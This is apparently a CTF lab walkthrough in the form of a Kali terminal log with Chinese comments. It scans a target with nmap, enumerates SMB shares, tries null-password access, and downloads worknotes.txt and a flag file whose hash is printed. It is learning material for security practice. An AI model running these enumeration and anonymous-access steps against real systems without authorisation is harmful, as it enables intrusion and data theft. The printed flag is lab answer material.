# P.S. kali@kali:~/Test$ nmap -T4 -sV -sC -Pn 10.129.236.182 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 16:01 CST Nmap scan report for 10.129.236.182 Host is up (0.56s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 107.21 seconds # P.S.smbclient 类似ftp的客户端,访问服务器上的SMB/CIFS资源 kali@kali:~/Test$ whatis smbclient smbclient (1) - ftp-like client to access SMB/CIFS resources on servers # P.S.smbclient -L 获取指定主机上可用的共享列表 kali@kali:~/Test$ smbclient -L10.129.236.182 Password for [WORKGROUP\kali]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC WorkShares Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.236.182 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available # P.S.尝试空密码访问共享目录 kali@kali:~/Test$ smbclient //10.129.236.182/ADMIN$ Password for [WORKGROUP\kali]: tree connect failed: NT_STATUS_ACCESS_DENIED # P.S.尝试空密码访问共享目录 kali@kali:~/Test$ smbclient //10.129.236.182/C$ Password for [WORKGROUP\kali]: tree connect failed: NT_STATUS_ACCESS_DENIED # P.S.尝试空密码访问共享目录,可以,但内容不符 kali@kali:~/Test$ smbclient //10.129.236.182/IPC$ Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> help ? allinfo altname archive backup blocksize cancel case_sensitive cdchmod chown close del deltree dir duechoexit get getfacl geteas hardlink helphistory iosize lcd link lock lowercase ls l mask md mget mkdir more mput newer notify open posix posix_encrypt posix_open posix_mkdir posix_rmdir posix_unlink posix_whoami print prompt put pwd q queue quit readlink rd recurse reget rename reput rmrmdir showacls setea setmode scopy stat symlink tar tarmode timeout translate unlock volume vuid wdel logon listconnect showconnect tcon tdis tid utimes logoff .. ! # P.S.退出当前连接的共享 smb: \> exit # P.S.尝试空密码访问共享目录 kali@kali:~/Test$ smbclient //10.129.236.182/WorkShares Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> help ? allinfo altname archive backup blocksize cancel case_sensitive cdchmod chown close del deltree dir duechoexit get getfacl geteas hardlink helphistory iosize lcd link lock lowercase ls l mask md mget mkdir more mput newer notify open posix posix_encrypt posix_open posix_mkdir posix_rmdir posix_unlink posix_whoami print prompt put pwd q queue quit readlink rd recurse reget rename reput rmrmdir showacls setea setmode scopy stat symlink tar tarmode timeout translate unlock volume vuid wdel logon listconnect showconnect tcon tdis tid utimes logoff .. ! # P.S.列文件 smb: \> ls . D 0 Mon Mar 29 16:22:01 2021 .. D 0 Mon Mar 29 16:22:01 2021 Amy.J D 0 Mon Mar 29 17:08:24 2021 James.P D 0 Thu Jun 3 16:38:03 2021
5114111 blocks of size 4096. 1751387 blocks available # P.S.切目录 smb: \> cd Amy.J # P.S.列文件 smb: \Amy.J\> ls . D 0 Mon Mar 29 17:08:24 2021 .. D 0 Mon Mar 29 17:08:24 2021 worknotes.txt A 94 Fri Mar 26 19:00:37 2021
5114111 blocks of size 4096. 1751372 blocks available # P.S.习惯性查看,无效 smb: \Amy.J\> cat worknotes.txt cat: command not found # P.S.拉取共享目录文件到本地 smb: \Amy.J\> get worknotes.txt getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) # P.S.切目录 smb: \Amy.J\> cd ../James.P # P.S.列文件 smb: \James.P\> ls . D 0 Thu Jun 3 16:38:03 2021 .. D 0 Thu Jun 3 16:38:03 2021 flag.txt A 32 Mon Mar 29 17:26:57 2021
5114111 blocks of size 4096. 1751369 blocks available # P.S.这个看起来比较像,继续拉取 smb: \James.P\> get flag.txt getting file \James.P\flag.txt of size 32 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) # P.S.退出连接 mb: \James.P\> exit # P.S.列本地目录 kali@kali:~/Test$ ls flag.txt starting_point_iIl1o0O.ovpn worknotes.txt # P.S.查看拉取到本地的 flag.txt kali@kali:~/Test$ cat flag.txt 5f61c10dffbc77a704d76016a22f1664